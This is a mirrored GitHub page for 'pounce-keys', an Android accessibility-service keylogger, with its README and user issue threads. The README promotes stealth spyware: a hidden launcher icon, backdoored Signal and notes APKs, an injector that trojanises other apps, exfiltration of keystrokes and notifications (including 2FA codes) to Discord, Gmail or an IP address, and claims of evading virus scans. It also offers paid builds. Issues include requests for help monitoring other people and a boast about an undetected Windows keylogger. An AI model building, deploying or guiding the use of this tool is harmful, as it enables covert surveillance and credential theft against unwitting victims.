Code Monkey home page Code Monkey logo

nullpounce / pounce-keys Goto Github PK

View Code? Open in Web Editor NEW
235.0 6.0 50.0 312.76 MB

PounceKey's is a Accessibility Service keylogger for Android 5 to 13! full launcher stealth. choose between receiving logs via IP, Gmail, or Discord. No txt files on device, straight buffer in logcat. Signal backdoor, best android keylogger!

Home Page: https://nullpounce.com

License: GNU General Public License v3.0

Java 0.79% Python 0.20% HTML 0.38% Batchfile 0.15% CMake 0.07% C 84.26% C++ 0.87% RenderScript 13.14% JavaScript 0.11% CSS 0.04%
android android-keylogger keylogger rat remote-admin-tool shell hacking accessibility-service apk java logging malware red-team android-security security android-rat discord discord-bot gmail-keylogger spy

pounce-keys's Introduction

GitHub Repo stars Linode GitHub commit activity GitHub
Linode


I can provide a pre-built APK for a few cups of coffee and give you access to the logs, DM me in Discord "Consulting offered"

Web Panel Demo

Android Keylogger

Send logs to IP | Gmail | Discord
View Release · Wiki/FAQ · Request Feature . Discord

BitCoin: 1EMZpRSBRUcbxnKfFJQ9G5bXDFNDkH7PNE

Monero: 4A75SgESZjVbTBwKH1wVF3KMCAbHUToEk3kFrgWZ2J8K9CiSnMbQdD2fBw1BPmpHrTTh314MJ3XvkP33isWDgMFQEZuTzut

Download (JKD19 required for the new builder)

Builder

Signal Messenger Backdoor

Notes App Backdoor

Pounce-Keys-Gmail

Pounce-Keys-Discord

PounceKeys-IP

Inject.rar in the builders release section

injector does not work on all apps (works on spotify and a few more)

open the Source folder in VS code and search and replace all for 2 instances of "INSERT-WEBHOOK-URL-FROM-YOUR-CHANNEL-BOT" with your own bot token

run: python -m inject

place the apk you want to inject into the apk folder

click inject, wait for it to stop hanging, it's done when there exists text in the box

click on inject

drag and drop the apk into the apktool gui's build tab and hope you win the lottery, if it builds then enable the service

PounceKey's 3.0 update!

  • multi device sorting support
  • new GUI!
  • hidden icon up to android 13 instead of only 9
  • notifications are logged and sent again
  • system info sent on service enable
  • "should" now alert user to enable the service
  • updated the icon and text "general cleanup"
  • changed from Battery Health Service to Google Play Protect Service
  • new GUI builder with python eel
test.mp4

Features

✅ A fully working backdoored Signal APK with a evil keylogging accessibility service, have a backdoored notes app as well

✅ system info sent on service enable

✅ Supports Android v5 - v13 (minus 12.1, 12.0 works)

✅ full launcher stealth with no app icon on the home screen or launcher

✅ one a a kind custom buffers for improved logging readability

✅ sends notifications even while in a locked state (grabs google code before owner sees it)

✅ grabs almost all text on the screen the user is looking at.

✅ works over WAN without open ports on either end "Discord/Gmail"

✅ works on startup "does not require a reboot"

✅ choose IP | Gmail | Discord for storing logs

✅ includes a custom listener for the IP version "tested and working over WAN on a Linode VPS $5 a month"

✅ keylogs all user input, even external and remote keyboards

✅ asks user to enable the service with a toast and drop down message

✅ PASSED GOOGLE VIRUS SCAN

✅ includes a GUI builder working in windows and linux

✅ you can choose: | verbose | keylogger only | keylogger and notifications | for sane readability

Manual Bulding

part 1

1.mp4

part 2

2.mp4

Download APK TOOL GUI and drag and drop the downloaded APK into the decompile tab

nex open up the decompiled folder in a IDE "text editor" that supports opening a folder and doing a search and replace all method like Visual Studio

read the release notes on the vaules to replace, save it then compile with the gui

Old IP version notes

ARE YOU'RE APPS VULNERABLE? TEST THEM NOW!

Use Pounce_keys in your dev workflow to assure your app is protected by keyloggers, this is a must for banking apps and yes some are vulnerable! Example even CalyxOS lock-sceen is vulnerable, fennec's browser URL tab is protected but not web pages. Signal is even vulnerable!

mitigations

can I protect my passwords from this, even while hacked? Open dev options and under privacy turn off show passwords when typed. don't use acceessibility services...

how do I look for this

CHECK accessibility settings for any downloaded services or if any are on (name don't matter)

Donateicon💜

thank you for the starstruck badge :)⭐ anysoft keyboard and malwarebytes has no issue with apk

BitCoin: 1EMZpRSBRUcbxnKfFJQ9G5bXDFNDkH7PNE

Monero: 4A75SgESZjVbTBwKH1wVF3KMCAbHUToEk3kFrgWZ2J8K9CiSnMbQdD2fBw1BPmpHrTTh314MJ3XvkP33isWDgMFQEZuTzut

come check out my blog https://nullpounce.blog/

my site

If you've found my work to be valuable, I would greatly appreciate your support, Leave a star. Every little bit helps and allows me to keep creating and improving. Thank you for your consideration and support!

ko-fi

credits

https://github.com/OmGodse/Notally original keylog apk forked from https://github.com/shivamsuyal/Android-Keylogger (current version barely uses its code)

icon "https://www.flaticon.com/free-icon/keylogger_8147179?term=keylogger&page=1&position=42&origin=search&related_id=8147179 https://www.flaticon.com/free-icon/hacking_2431702?related_id=2431702&origin=search

https://www.freepik.com/free-vector/cute-cat-computer-with-mouse-cartoon-vector-icon-illustration-animal-technology-icon-concept-isolated-premium-vector-flat-cartoon-style_18537569.htm#query=cat%20keyboard&position=1&from_view=search&track=sph#position=1&query=cat%20keyboard https://www.freepik.com/free-vector/chat-bot-mobile-chatting-isometric-concept_6342161.htm

⚖️ Legal Disclaimer: For Educational Purpose Only

note edit ufw rules if hosted online.

pounce-keys's People

Contributors

nullpounce avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

pounce-keys's Issues

Where to put Discord Webhook in APK Editor studio

Hi I have downloaded apk editor studio and installed java as well. I download the discord apk from the releases and opened it with apk editor. It got opened. Now I am unable to find where to put discord web hook URL. I have searched using settings search but unable to find it. I have opened Contents of app and it showed me this folder(below Screenshot). I am unable to find messagesender.java file here. Where to add discord web hook please help.
ApkEditorStudio Contents

adaptive icons

It's possible that the phone in question is using adaptive icons, which could cause the icon to still appear even after disabling the launcher icon using the method shown in the code.

cant capture passcode

i just tried it, it cant capture passcode from app like Telegram. The output is

Notification: []

just empty

Proposal for upgrading app

Hi @NullPounce ,

I find your app work well on android phone. However, the use of IP addresses is sometimes unstable. It's just work correctly in case i connect target phone and message listener to same network. I can't receive log on message listener when two devices connect to two difference networks. So, I would like to recommend you should upgrade your app using a email service such as Gmail to send log to destination device. Your app should be able to config destination email and interval time to send a email. Many thanks!

can find "192.168.0.135" when i open up the apk

hello Null!
I have the app set up on wsl and android apk editor installed too. However, anytime I open up the apk in the editor studio I don't seem to find "192.168.0.135" or any of the smali files mainactivity and messegesener to replace with my IP. how can I go about it to set up fully?

Recommendations for self-use

As the title suggests, I'm trying to determine if Pounce-Keys can be used as a personal keylogger. I go into (much) detail below but

TL;DR:

I just don't know how to use Pounce-Keys with the target and listener as one in the same device. Any help in this regard would be greatly appreciated, however if personal use is out of the scope of this app, just say so and feel free to close the issue. Or I'll close it once I get clarification/confirmation on whether Pounce-Keys can fill the role of "personal keylogger."

Long version:

Keyloggers get a lot of shit, some of it may be justified but the program/code itself isn't malicious/nefarious. Regardless, the train left the station long ago where its PR is concerned. As such, there are very few personal keyloggers for Android. Even fewer that are active/maintained, functional and open source.

Inputting Plus: Ctrl + Z/F/C/V used to be perfect for my needs (though I have always wished that the 7 day log/history limit could be made indefinite. That and the ability to filter by app but aside from these 2 minor gripes, it was exactly what I needed it to be otherwise). Sadly, it was abandoned long ago - the last update was ≈4½ years ago. All despite over 100K DLs @ $2 a pop & positive press from Android Police, LifeHacker, etc. It's not as though its dev retired from developing Android apps. He's actively developing/maintaining other apps & just released a ChatGPT overlay app less than 3mo ago. I still use Inputting+, but it's buggy as hell and breaks more with every major OS update. I anticipate it will be completely useless soon.

The only other similar app on the Play Store that comes close (lacks the helper overlay and date filter/calendar BUT has a per app filter & allows for indefinite log history, albeit with a performance hit after a couple few months), is an app called Type Keeper but A) it's also been abandoned, receiving is last update ≈4yrs ago, only a few months after its release. B) I don't think it's FLOSS (it also has ads with no option to remove them via donation or otherwise but they're unobtrusive).

Needless to say, I need a new Android keylogger. As mentioned, this is strictly for personal use. No judgement reserved for anyone using Pounce-Keys in more of a surveillance capacity; no one, myself included, has any business casting aspersions upon another without walking in their shoes, which... ya know, can't be done.

Regardless, I have no such use case myself, however, between app crashes, OS crashes and temperamental text fields that balk at the idea of preserving text long enough for the user to reference a recent app, only to return 30 seconds later to find the text field and all progress wiped, I do have a powerful need to access my own key logs. A need which is almost never satisfied by the system clipboard, which has very limited functionality and is if zero help if one hasn't copied the lost text. Crash resistant? Methinks not.

I discovered Pounce-Keys while doing some background research for a post in some hacking/infosec/privacy sub or other and DL'd it without fully grasping the fact that I'm not likely an ideal user but in the process of learning as much, I found that in every other regard, it's perfect. I just don't know how to use it in a way where the target and listener are one in the same device (that's my TL;DR for this behemoth).

Any help in this regard would be greatly appreciated, however if my use case is truly out of the scope of this app, just say so and feel free to close the issue. Or I'll close it once I get clarification/confirmation on whether Pounce-Keys can fill the role of "personal keylogger."

Thanks & sorry for the novel!

I'm long-windedAF

Not Reading Content on Toolbar

When user responds to message using either Facebook Messenger or Samsung Messages, app fails to read content and instead prints the following:

Window Changed: [Expand toolbar, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, Q, W, E, R, T, Y, U, I, O, P, A, S, D, F, G, H, J, K, L, Z, X, C, V, B, N, M, @, English (US), .]

( MESSAGES EXAMPLE )

Window Changed: [Messages]
Window Changed: [Messages]
Window Changed: [Expand toolbar, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, Q, W, E, R, T, Y, U, I, O, P, A, S, D, F, G, H, J, K, L, Z, X, C, V, B, N, M, @, English (US), .]
Typed: [A]
Typed: [Ah]
Typed: [Aho]
Typed: [Ahoi]
Typed: [Ahoi]
Typed: [Ahoi]
Typed: [Ahoil]
Typed: [Ahoils]
Typed: [Ahoilsn]
Typed: [Ahoilsnt]
Typed: [Ahoilsnt ]
Typed: [Ahoilsnt]
Typed: [Ahoilsn]
Typed: [Ahoils]
Typed: [Ahoil]
Typed: [Ahoi]
Typed: [Aho]
Typed: [Ah]

Window Changed: []
Window Changed: []

( FACEBOOK MESSENGER EXAMPLE )

Window Changed: [Messenger]
Window Changed: [Messenger]
Focused: [Message]
Window Changed: [Messenger]
Window Changed: [Notification shade.]
Window Changed: []
Window Changed: []
Window Changed: [Expand toolbar, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, Q, W, E, R, T, Y, U, I, O, P, A, S, D, F, G, H, J, K, L, Z, X, C, V, B, N, M, @, English (US), .]
Typed: [O]
Typed: [Oh]
Typed: [Oh ]
Typed: [Oh g]
Typed: [Oh gr]
Typed: [Oh gro]
Typed: [Oh gros]
Typed: [Oh gross]
Window Changed: [Home]
Window Changed: [Home]
Window Changed: [Lock screen]
Window Changed: [Lock screen, 5, :, 05, Mon, March 20]
Window Changed: [Lock screen, 5, :, 05, Mon, March 20]

Gmail version of app compiled in SDK 33.
Tested on both Samsung Galaxy S21+ with Android 13 & Samsung S10e with Android 12. Both fully up to date.
App installed using " adb -g" granting full runtime permissions.

please post your phone model and Android version here if "It stops sending keylogs"

this is going to be a list of all device currently not working, if you want to help the most then please post a logcat around the time it's supposed to send logs, you should see live logs running then a wall of red text of errors, paste that into here and I can see what the problem is. Or if you can provide an emulation source to your phone, for example GenyMotion only offers so many android versions.

:)

LIST:

miui 12, android 10

XIAOMI MI9T miui 12, android 10

APP stop working

Iam using PounceKeysBuilder_2.0.rar. Compile is Sucessful. I installed the APP and activated the accessibility option and at first it works as it should and sends the logs to discord, but when I close the app, it stops sending the logs.

If i unnistal and re-install app, it works 1 time only, like before, but when I close the app, it stops sending the logs.

miui 12, android 10

release notes

ip, gmail, discord versions have all had gradle updated etc, latest java version, ide

there is now a propper buffer for each version and im not responsible for any temporary or permanent ip restrictions/limits or bans.
i've done my best to edit the buffer to a good amount.

if you want to build from source then unpack the source zip and open it up in android studio, open settings and search for gradle and choose the gradle location to use the gradle wrapper properties files so it can download it for you. this way you can edit the buffer to your liking or edit any other source code, note i had issue with a buffer key event key press send off 300 with gmail so i chose 200.

ip buffer = 75
discord buffer = 75
gmail buffer = 200 "i've temp banned/restricted myself doing (24) but i sent over 100+ emails in one day and the next day it was fine"

original output in logs from user typing "android"
"""
a
an
and
andr
andro
androi
android
"""
and or letters/word would be wrapped in brackets, we now have sane logs even for the ip version only logging and reporting what is typed.

I don't have time to make a keyboard version/fork right now but i do have a version that keylogs windows 11 22h2 latest updates bypassing microsoft windows live protection/defender cloud complete FUD python keylogger reporting to gmail works on reboots, also once the exe is opened thats it no log or text files are made, runs in memory then emails it proof: https://vimeo.com/875678474?share=copy i have not shared this

JDK 19 Link Down.

Issue Description: Update broken download link for JDK-19 installation

Background:
The author of the project has included a command in the documentation for downloading the JDK-19 Linux x64 binary package. However, the provided download link is no longer valid and results in a 404 error. The command that needs to be updated is as follows:

Current command:
wget https://download.oracle.com/java/19/latest/jdk-19_linux-x64_bin.deb

Issue:
The current command to download the JDK-19 Linux x64 binary package is no longer functional due to an outdated download link. The link provided returns a 404 error, indicating that the resource does not exist.

Proposed Solution:
The command should be updated with the corrected download link to ensure that users can successfully download the JDK-19 Linux x64 binary package. The updated command should be as follows:

Updated command:
wget https://download.oracle.com/java/19/archive/jdk-19_linux-x64_bin.deb

By replacing "latest" with "archive" in the download link, users will be directed to the correct location to download the JDK-19 Linux x64 binary package.

Steps to Reproduce:

  1. Access the project documentation.
  2. Locate the section related to JDK-19 installation.
  3. Identify the command provided for downloading the JDK-19 Linux x64 binary package.
  4. Execute the command.
  5. Observe that the download fails with a 404 error.

Expected Behavior:
After updating the command with the corrected download link, users should be able to successfully download the JDK-19 Linux x64 binary package without encountering any errors.

Please let me know if you need any further assistance or if there are any additional details you would like to include in the issue description.

You can copy the above markdown and use it for your GitHub issue. Let me know if you need any further assistance!

app not installed as package appears to be invalid

First I installed from https://github.com/NullPounce/pounce-keys/releases the 2.0_PounceKeys-Discord.apk. Then I installed the apktool and apparently there is no gui version available for Mac. So I just used cli, now to decompile the file downloaded I ran the command apktool d path_to_ 2.0_PounceKeys-Discord.apk , it gave me the folder as seen in the video, made changes accordingly. To compile it I ran the command apktool b path_to_ 2.0_PounceKeys-Discord_folder , but now as seen in the video the apk file that is compiled into apk is 2.0_PounceKeys-Discord-signed.apk but just got 2.0_PounceKeys-Discord.apk. Then I transferred the apk file to my android phone and tried installing it, but the above message popped.

I wonder what could have been gone wrong.

.

.

BrutException compile failure

I used the Notally app .apk file and followed the instructions. After changing the discord webhooks, it compiled successfully. I put the .apk file in the inject/APK folder, ran python -m inject, and it finished. However when I drag the folders from inject/Output to the APKTool and compile it, it gives this error:

[11:03:37] Building resources...
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:3: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:4: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:5: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:6: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:7: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:8: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:9: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:10: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:11: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:12: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:13: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:14: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:15: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:16: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:17: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:18: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:19: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:20: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:21: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] ...\inject\Output\Notally\res\values\layouts.xml:22: error: invalid value for type 'layout'. Expected a reference.
[11:03:57] brut.androlib.exceptions.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [...\brut_util_Jar_4856795076241234279845401281250622954.tmp, compile, --dir, ...\inject\Output\Notally\res, --legacy, -o, ...\inject\Output\Notally\build\resources.zip]
[11:03:57] =====[ Error ]=====
[11:03:57] Compiling failed
[11:03:57] Time started: 11:01:27
[11:03:57] Time elapsed: 02:30

If I try to drag the .apk from inject/APK after pressing inject, it compiles without problems, but when I put it in a virtual device using Android Studio, the app stops immediately after opening.

Is there a fix, or what is the mistake I made?

How to use this tool

I don't understand how this tool is used. I want to use a Windows computer to open this tool and create an apk application so that the person who installs this application can be monitored by me.

Exception encountered due to missing X11 DISPLAY variable or lack of headful library support

When running the command java -jar MessageListener.jar, an exception occurs indicating a java.awt.HeadlessException with the following message:

Exception in thread "main" java.awt.HeadlessException: 
No X11 DISPLAY variable was set,
or no headful library support was found,
but this program performed an operation which requires it,

        at java.desktop/java.awt.GraphicsEnvironment.checkHeadless(GraphicsEnvironment.java:166)
        at java.desktop/java.awt.Window.<init>(Window.java:553)
        at java.desktop/java.awt.Frame.<init>(Frame.java:428)
        at java.desktop/java.awt.Frame.<init>(Frame.java:393)
        at java.desktop/javax.swing.SwingUtilities$SharedOwnerFrame.<init>(SwingUtilities.java:1919)
        at java.desktop/javax.swing.SwingUtilities.getSharedOwnerFrame(SwingUtilities.java:1995)
        at java.desktop/javax.swing.JOptionPane.getRootFrame(JOptionPane.java:1696)
        at java.desktop/javax.swing.JOptionPane.showOptionDialog(JOptionPane.java:875)
        at java.desktop/javax.swing.JOptionPane.showConfirmDialog(JOptionPane.java:806)
        at java.desktop/javax.swing.JOptionPane.showConfirmDialog(JOptionPane.java:768)
        at java.desktop/javax.swing.JOptionPane.showConfirmDialog(JOptionPane.java:729)
        at MessageListener.main(MessageListener.java:65)

Steps to Reproduce:

  • Execute the command java -jar MessageListener.jar.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.